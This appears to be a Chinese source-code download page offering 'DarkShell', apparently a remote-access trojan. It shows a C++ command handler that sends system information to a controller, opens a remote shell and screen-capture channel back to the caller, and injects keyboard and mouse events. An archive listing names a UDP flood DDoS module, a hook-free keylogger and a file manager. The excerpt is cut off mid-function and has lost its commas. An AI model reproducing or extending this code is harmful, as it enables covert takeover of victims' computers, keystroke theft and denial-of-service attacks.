• 大小: 0.51M
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-05-28
  • 语言: 其他
  • 标签: 其他  

资源简介

DarkShell.rar

资源截图

代码片段和文件信息

#include “.\connectserverproc.h“
#include “tools.h“

#include “DDOSUdpFlood.h“

#include 
#pragma comment(lib “ws2_32.lib“)
#pragma comment(lib “kernel32.lib“)
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include se.h>



CConnectServerProc::CConnectServerProc(void)
{
m_pSysinfo = NULL;
}
CConnectServerProc::~CConnectServerProc(void)
{
}


void CConnectServerProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 0; 
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::SetServerSystemInfo(tagServerSystemInfo* p)
{
m_pSysinfo = p;
}
void CConnectServerProc::OnCmd_GetSystemInfo(tagVipShellCmd* info)
{
return OnCmd_GetDoWork(info);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 0; 
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnCmd_GetShell(tagVipShellCmd* info)
{
ULONG ip;
USHORT port;
m_hServer->GetPeer(&ip &port);
m_hServerManage->ConnectServerEx(ip port CREATE_THREAD_MARKER_SHELLCOMMAND);
return OnCmd_GetDoWork(info);
}
void CConnectServerProc::OnCmd_GetScreen(tagVipShellCmd* info)
{
ULONG ip;
USHORT port;
m_hServer->GetPeer(&ip &port);
srand(GetTickCount());
DWORD dwId = rand();
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK; 
SendInfo.dw1 = dwId;
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
int nRet = m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return ;
m_hServerManage->ConnectServerEx(ip port CREATE_THREAD_MARKER_SCREENINFO dwId);
}

void CConnectServerProc::onkeydownd(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
keybd_event((BYTE)info->dw1000);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK; 
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::onkeyup(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
keybd_event((BYTE)info->dw10KEYEVENTF_KEYUP0);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK; 
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::onmousemove(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
SetCursorPos(info->dw1 info->dw2);
tagVipShellCmd SendInfo;
SendInfo.dwCmd = SHELL_CMD_ISOK; 
memcpy(SendInfo.pBuff m_pSysinfo sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo sizeof(tagVipShellCmd));
}
void CConnectServerProc::OnLButtonDown(tagVipShellCmd* info)
{
COpenDesktop hDesktop;
mouse_event(MOUSEEVENTF_LEFTDOWN0000);
tagVipShellCmd SendInfo;

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件      10278  2007-12-16 19:46  codesc.net\DarkShell\DarkShell\ConnectServerProc.cpp

     文件       1871  2007-12-16 19:40  codesc.net\DarkShell\DarkShell\ConnectServerProc.h

     文件    2665472  2007-12-21 19:17  codesc.net\DarkShell\DarkShell\DarkShell.ncb

     文件        907  2007-02-14 20:23  codesc.net\DarkShell\DarkShell\DarkShell.sln

    ..A..H.      8704  2007-12-21 19:17  codesc.net\DarkShell\DarkShell\DarkShell.suo

     文件       6026  2007-12-01 22:46  codesc.net\DarkShell\DarkShell\DarkShell.vcproj

     文件       5189  2007-12-01 22:44  codesc.net\DarkShell\DarkShell\DDOSUdpFlood.cpp

     文件        676  2007-12-01 22:44  codesc.net\DarkShell\DarkShell\DDOSUdpFlood.h

     文件       4631  2007-12-16 19:41  codesc.net\DarkShell\DarkShell\DefCommandProc.cpp

     文件       3631  2007-12-16 19:40  codesc.net\DarkShell\DarkShell\DefCommandProc.h

     文件      10835  2007-10-20 13:46  codesc.net\DarkShell\DarkShell\FileManageProc.cpp

     文件       1425  2006-06-26 17:13  codesc.net\DarkShell\DarkShell\FileManageProc.h

     文件       5143  2006-06-20 20:55  codesc.net\DarkShell\DarkShell\GetCapData.cpp

     文件        803  2006-06-20 12:25  codesc.net\DarkShell\DarkShell\GetCapData.h

     文件       2779  2007-08-30 23:13  codesc.net\DarkShell\DarkShell\GetCapPictureProc.cpp

     文件        358  2006-06-20 16:24  codesc.net\DarkShell\DarkShell\GetCapPictureProc.h

     文件       4927  2006-06-27 15:04  codesc.net\DarkShell\DarkShell\GetKeyNoHook.cpp

     文件        146  2006-06-27 15:29  codesc.net\DarkShell\DarkShell\GetKeyNoHook.h

     文件       5890  2007-01-20 19:59  codesc.net\DarkShell\DarkShell\GetKeyNoHookProc.cpp

     文件        474  2006-06-28 22:01  codesc.net\DarkShell\DarkShell\GetKeyNoHookProc.h

     文件       9005  2006-07-02 19:01  codesc.net\DarkShell\DarkShell\GetScreenInfo.cpp

     文件       1092  2006-06-29 23:45  codesc.net\DarkShell\DarkShell\GetScreenInfo.h

     文件       7290  2006-06-27 20:56  codesc.net\DarkShell\DarkShell\ie.cpp

     文件         60  2006-05-29 12:04  codesc.net\DarkShell\DarkShell\Ie.h

     文件       6370  2007-12-01 22:44  codesc.net\DarkShell\DarkShell\IPSocket.h

     文件      24832  2007-11-11 12:17  codesc.net\DarkShell\DarkShell\main.cpp

     文件       2755  2006-07-03 15:25  codesc.net\DarkShell\DarkShell\OpenDesktop.cpp

     文件        361  2006-07-03 15:28  codesc.net\DarkShell\DarkShell\OpenDesktop.h

     文件        384  2006-05-31 17:13  codesc.net\DarkShell\DarkShell\resource.h

     文件       1811  2007-08-30 23:13  codesc.net\DarkShell\DarkShell\ScreenControlProc.cpp

............此处省略130个文件信息

评论

共有 条评论